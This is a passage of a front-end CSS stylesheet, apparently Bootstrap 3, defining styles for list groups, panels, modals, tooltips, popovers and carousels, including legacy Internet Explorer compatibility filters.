{\n  color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading,\nbutton.list-group-item-warning .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-warning:hover,\nbutton.list-group-item-warning:hover,\na.list-group-item-warning:focus,\nbutton.list-group-item-warning:focus {\n  color: #8a6d3b;\n  background-color: #faf2cc;\n}\na.list-group-item-warning.active,\nbutton.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\nbutton.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus,\nbutton.list-group-item-warning.active:focus {\n  color: #fff;\n  background-color: #8a6d3b;\n  border-color: #8a6d3b;\n}\n.list-group-item-danger {\n  color: #a94442;\n  background-color: #f2dede;\n}\na.list-group-item-danger,\nbutton.list-group-item-danger {\n  color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading,\nbutton.list-group-item-danger .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-danger:hover,\nbutton.list-group-item-danger:hover,\na.list-group-item-danger:focus,\nbutton.list-group-item-danger:focus {\n  color: #a94442;\n  background-color: #ebcccc;\n}\na.list-group-item-danger.active,\nbutton.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\nbutton.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus,\nbutton.list-group-item-danger.active:focus {\n  color: #fff;\n  background-color: #a94442;\n  border-color: #a94442;\n}\n.list-group-item-heading {\n  margin-top: 0;\n  margin-bottom: 5px;\n}\n.list-group-item-text {\n  margin-bottom: 0;\n  line-height: 1.3;\n}\n.panel {\n  margin-bottom: 20px;\n  background-color: #fff;\n  border: 1px solid transparent;\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n          box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n}\n.panel-body {\n  padding: 15px;\n}\n.panel-heading {\n  padding: 10px 15px;\n  border-bottom: 1px solid transparent;\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n  color: inherit;\n}\n.panel-title {\n  margin-top: 0;\n  margin-bottom: 0;\n  font-size: 16px;\n  color: inherit;\n}\n.panel-title > a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n  color: inherit;\n}\n.panel-footer {\n  padding: 10px 15px;\n  background-color: #f5f5f5;\n  border-top: 1px solid #ddd;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n  margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n  border-width: 1px 0;\n  border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n  border-top: 0;\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n  border-bottom: 0;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n  border-top-width: 0;\n}\n.list-group + .panel-footer {\n  border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n  margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n  padding-right: 15px;\n  padding-left: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n  border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n  border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n  border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n  border-top: 1px solid #ddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n  border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n  border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n  border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n  border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n  border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n  border-bottom: 0;\n}\n.panel > .table-responsive {\n  margin-bottom: 0;\n  border: 0;\n}\n.panel-group {\n  margin-bottom: 20px;\n}\n.panel-group .panel {\n  margin-bottom: 0;\n  border-radius: 4px;\n}\n.panel-group .panel + .panel {\n  margin-top: 5px;\n}\n.panel-group .panel-heading {\n  border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n  border-top: 1px solid #ddd;\n}\n.panel-group .panel-footer {\n  border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n  border-bottom: 1px solid #ddd;\n}\n.panel-default {\n  border-color: #ddd;\n}\n.panel-default > .panel-heading {\n  color: #333;\n  background-color: #f5f5f5;\n  border-color: #ddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #ddd;\n}\n.panel-default > .panel-heading .badge {\n  color: #f5f5f5;\n  background-color: #333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #ddd;\n}\n.panel-primary {\n  border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #337ab7;\n}\n.panel-success {\n  border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n  color: #dff0d8;\n  background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #d6e9c6;\n}\n.panel-info {\n  border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n  color: #d9edf7;\n  background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #bce8f1;\n}\n.panel-warning {\n  border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n  color: #fcf8e3;\n  background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #faebcc;\n}\n.panel-danger {\n  border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n  color: #f2dede;\n  background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n  position: relative;\n  display: block;\n  height: 0;\n  padding: 0;\n  overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n  border: 0;\n}\n.embed-responsive-16by9 {\n  padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n  padding-bottom: 75%;\n}\n.well {\n  min-height: 20px;\n  padding: 19px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border: 1px solid #e3e3e3;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n}\n.well blockquote {\n  border-color: #ddd;\n  border-color: rgba(0, 0, 0, .15);\n}\n.well-lg {\n  padding: 24px;\n  border-radius: 6px;\n}\n.well-sm {\n  padding: 9px;\n  border-radius: 3px;\n}\n.close {\n  float: right;\n  font-size: 21px;\n  font-weight: bold;\n  line-height: 1;\n  color: #000;\n  text-shadow: 0 1px 0 #fff;\n  filter: alpha(opacity=20);\n  opacity: .2;\n}\n.close:hover,\n.close:focus {\n  color: #000;\n  text-decoration: none;\n  cursor: pointer;\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\nbutton.close {\n  -webkit-appearance: none;\n  padding: 0;\n  cursor: pointer;\n  background: transparent;\n  border: 0;\n}\n.modal-open {\n  overflow: hidden;\n}\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1050;\n  display: none;\n  overflow: hidden;\n  -webkit-overflow-scrolling: touch;\n  outline: 0;\n}\n.modal.fade .modal-dialog {\n  -webkit-transition: -webkit-transform .3s ease-out;\n       -o-transition:      -o-transform .3s ease-out;\n          transition:         transform .3s ease-out;\n  -webkit-transform: translate(0, -25%);\n      -ms-transform: translate(0, -25%);\n       -o-transform: translate(0, -25%);\n          transform: translate(0, -25%);\n}\n.modal.in .modal-dialog {\n  -webkit-transform: translate(0, 0);\n      -ms-transform: translate(0, 0);\n       -o-transform: translate(0, 0);\n          transform: translate(0, 0);\n}\n.modal-open .modal {\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: 10px;\n}\n.modal-content {\n  position: relative;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #999;\n  border: 1px solid rgba(0, 0, 0, .2);\n  border-radius: 6px;\n  outline: 0;\n  -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n          box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n}\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000;\n}\n.modal-backdrop.fade {\n  filter: alpha(opacity=0);\n  opacity: 0;\n}\n.modal-backdrop.in {\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\n.modal-header {\n  padding: 15px;\n  border-bottom: 1px solid #e5e5e5;\n}\n.modal-header .close {\n  margin-top: -2px;\n}\n.modal-title {\n  margin: 0;\n  line-height: 1.42857143;\n}\n.modal-body {\n  position: relative;\n  padding: 15px;\n}\n.modal-footer {\n  padding: 15px;\n  text-align: right;\n  border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n  margin-bottom: 0;\n  margin-left: 5px;\n}\n.modal-footer .btn-group .btn + .btn {\n  margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n  margin-left: 0;\n}\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n@media (min-width: 768px) {\n  .modal-dialog {\n    width: 600px;\n    margin: 30px auto;\n  }\n  .modal-content {\n    -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n            box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n  }\n  .modal-sm {\n    width: 300px;\n  }\n}\n@media (min-width: 992px) {\n  .modal-lg {\n    width: 900px;\n  }\n}\n.tooltip {\n  position: absolute;\n  z-index: 1070;\n  display: block;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 12px;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  word-wrap: normal;\n  white-space: normal;\n  filter: alpha(opacity=0);\n  opacity: 0;\n\n  line-break: auto;\n}\n.tooltip.in {\n  filter: alpha(opacity=90);\n  opacity: .9;\n}\n.tooltip.top {\n  padding: 5px 0;\n  margin-top: -3px;\n}\n.tooltip.right {\n  padding: 0 5px;\n  margin-left: 3px;\n}\n.tooltip.bottom {\n  padding: 5px 0;\n  margin-top: 3px;\n}\n.tooltip.left {\n  padding: 0 5px;\n  margin-left: -3px;\n}\n.tooltip-inner {\n  max-width: 200px;\n  padding: 3px 8px;\n  color: #fff;\n  text-align: center;\n  background-color: #000;\n  border-radius: 4px;\n}\n.tooltip-arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.top-left .tooltip-arrow {\n  right: 5px;\n  bottom: 0;\n  margin-bottom: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.top-right .tooltip-arrow {\n  bottom: 0;\n  left: 5px;\n  margin-bottom: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.right .tooltip-arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-width: 5px 5px 5px 0;\n  border-right-color: #000;\n}\n.tooltip.left .tooltip-arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-width: 5px 0 5px 5px;\n  border-left-color: #000;\n}\n.tooltip.bottom .tooltip-arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n  top: 0;\n  right: 5px;\n  margin-top: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n  top: 0;\n  left: 5px;\n  margin-top: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1060;\n  display: none;\n  max-width: 276px;\n  padding: 1px;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  word-wrap: normal;\n  white-space: normal;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, .2);\n  border-radius: 6px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n          box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n\n  line-break: auto;\n}\n.popover.top {\n  margin-top: -10px;\n}\n.popover.right {\n  margin-left: 10px;\n}\n.popover.bottom {\n  margin-top: 10px;\n}\n.popover.left {\n  margin-left: -10px;\n}\n.popover-title {\n  padding: 8px 14px;\n  margin: 0;\n  font-size: 14px;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-radius: 5px 5px 0 0;\n}\n.popover-content {\n  padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n  position: absolute;\n  display: block;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.popover > .arrow {\n  border-width: 11px;\n}\n.popover > .arrow:after {\n  content: \"\";\n  border-width: 10px;\n}\n.popover.top > .arrow {\n  bottom: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-color: #999;\n  border-top-color: rgba(0, 0, 0, .25);\n  border-bottom-width: 0;\n}\n.popover.top > .arrow:after {\n  bottom: 1px;\n  margin-left: -10px;\n  content: \" \";\n  border-top-color: #fff;\n  border-bottom-width: 0;\n}\n.popover.right > .arrow {\n  top: 50%;\n  left: -11px;\n  margin-top: -11px;\n  border-right-color: #999;\n  border-right-color: rgba(0, 0, 0, .25);\n  border-left-width: 0;\n}\n.popover.right > .arrow:after {\n  bottom: -10px;\n  left: 1px;\n  content: \" \";\n  border-right-color: #fff;\n  border-left-width: 0;\n}\n.popover.bottom > .arrow {\n  top: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-width: 0;\n  border-bottom-color: #999;\n  border-bottom-color: rgba(0, 0, 0, .25);\n}\n.popover.bottom > .arrow:after {\n  top: 1px;\n  margin-left: -10px;\n  content: \" \";\n  border-top-width: 0;\n  border-bottom-color: #fff;\n}\n.popover.left > .arrow {\n  top: 50%;\n  right: -11px;\n  margin-top: -11px;\n  border-right-width: 0;\n  border-left-color: #999;\n  border-left-color: rgba(0, 0, 0, .25);\n}\n.popover.left > .arrow:after {\n  right: 1px;\n  bottom: -10px;\n  content: \" \";\n  border-right-width: 0;\n  border-left-color: #fff;\n}\n.carousel {\n  position: relative;\n}\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n.carousel-inner > .item {\n  position: relative;\n  display: none;\n  -webkit-transition: .6s ease-in-out left;\n       -o-transition: .6s ease-in-out left;\n          transition: .6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n  .carousel-inner > .item {\n    -webkit-transition: -webkit-transform .6s ease-in-out;\n         -o-transition:      -o-transform .6s ease-in-out;\n            transition:         transform .6s ease-in-out;\n\n    -webkit-backface-visibility: hidden;\n            backface-visibility: hidden;\n    -webkit-perspective: 1000px;\n            perspective: 1000px;\n  }\n  .carousel-inner > .item.next,\n  .carousel-inner > .item.active.right {\n    left: 0;\n    -webkit-transform: translate3d(100%, 0, 0);\n            transform: translate3d(100%, 0, 0);\n  }\n  .carousel-inner > .item.prev,\n  .carousel-inner > .item.active.left {\n    left: 0;\n    -webkit-transform: translate3d(-100%, 0, 0);\n            transform: translate3d(-100%, 0, 0);\n  }\n  .carousel-inner > .item.next.left,\n  .carousel-inner > .item.prev.right,\n  .carousel-inner > .item.active {\n    left: 0;\n    -webkit-transform: translate3d(0, 0, 0);\n            transform: translate3d(0, 0, 0);\n  }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  display: block;\n}\n.carousel-inner > .active {\n  left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n.carousel-inner > .next {\n  left: 100%;\n}\n.carousel-inner > .prev {\n  left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n  left: 0;\n}\n.carousel-inner > .active.left {\n  left: -100%;\n}\n.carousel-inner > .active.right {\n  left: 100%;\n}\n.carousel-control {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 15%;\n  font-size: 20px;\n  color: #fff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n  background-color: rgba(0, 0, 0, 0);\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\n.carousel-control.left {\n  background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  background-image:      -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001)));\n  background-image:         linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n  background-repeat: repeat-x;\n}\n.carousel-control.right {\n  right: 0;\n  left: auto;\n  background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  background-image:      -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5)));\n  background-image:         linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n  background-repeat: repeat-x;\n}\n.carousel-control:hover,\n.carousel-control:focus {\n  color: #fff;\n  text-decoration: none;\n  filter: alpha(opacity=90);\n  outline: 0;\n  opacity: .9;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n  position: absolute;\n  top: 50%;\n  z-index: 5;\n  display: inline-block;\n  margin-top: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n  left: 50%;\n  margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n  right: 50%;\n  margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n  width: 20px;\n  height: 20px;\n  font-family: serif;\n  line-height: 1;\n}\n.carousel-control .icon-prev:before {\n  content: '\\2039';\n}\n.carousel-control .icon-next:before {\n  content: '\\203a';\n}\n.carousel-indicators {\n  position: absolute;\n  bottom: 10px;\n  left: 50%;\n  z-index: 15;\n  width: 60%;\n  padding-left: 0;\n  margin-left: -30%;\n  text-align: center;\n  list-style: none;\n}\n.carousel-indicators li {\n  display: inline-block;\n  width: 10px;\n  height: 10px;\n  margin: 1px;\n  text-indent: -999px;\n  cursor: pointer;\n  background-color: #000 \\9;\n  background-color: rgba(0, 0, 0, 0);\n  border: 1px solid #fff;\n  border-radius: 10px;\n}\n.carousel-indicators .active {\n  width: 12px;\n  height: 12px;\n  margin: 0;\n  background-color: #fff;\n}\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #fff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n}\n.carousel-caption .btn {\n  text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n  .carousel-control .glyphicon-chevron-left,\n  .carousel-control .glyphicon-chevron-right,\n  .carousel-control .icon-prev,\n  .carousel-control .icon-next {\n    width: 30px;\n    height: 30px;\n    margin-top: -10px;\n    font-size: 30px;\n  }\n  .carousel-control .glyphicon-chevron-left,\n  .carousel-control .icon-prev {\n    margin-left: -10px;\n  }\n  .carousel-control .glyphicon-chevron-right,\n  .carousel-control .icon-next {\n    margin-right: -10px;\n  }\n  .carousel-caption {\n    right: 20%;\n    left: 20%;\n    padding-bottom: 30px;\n  }\n  .carousel-indicators {\n    bottom: 20px;\n  }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-header:before,\n.modal-header:after,\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \" 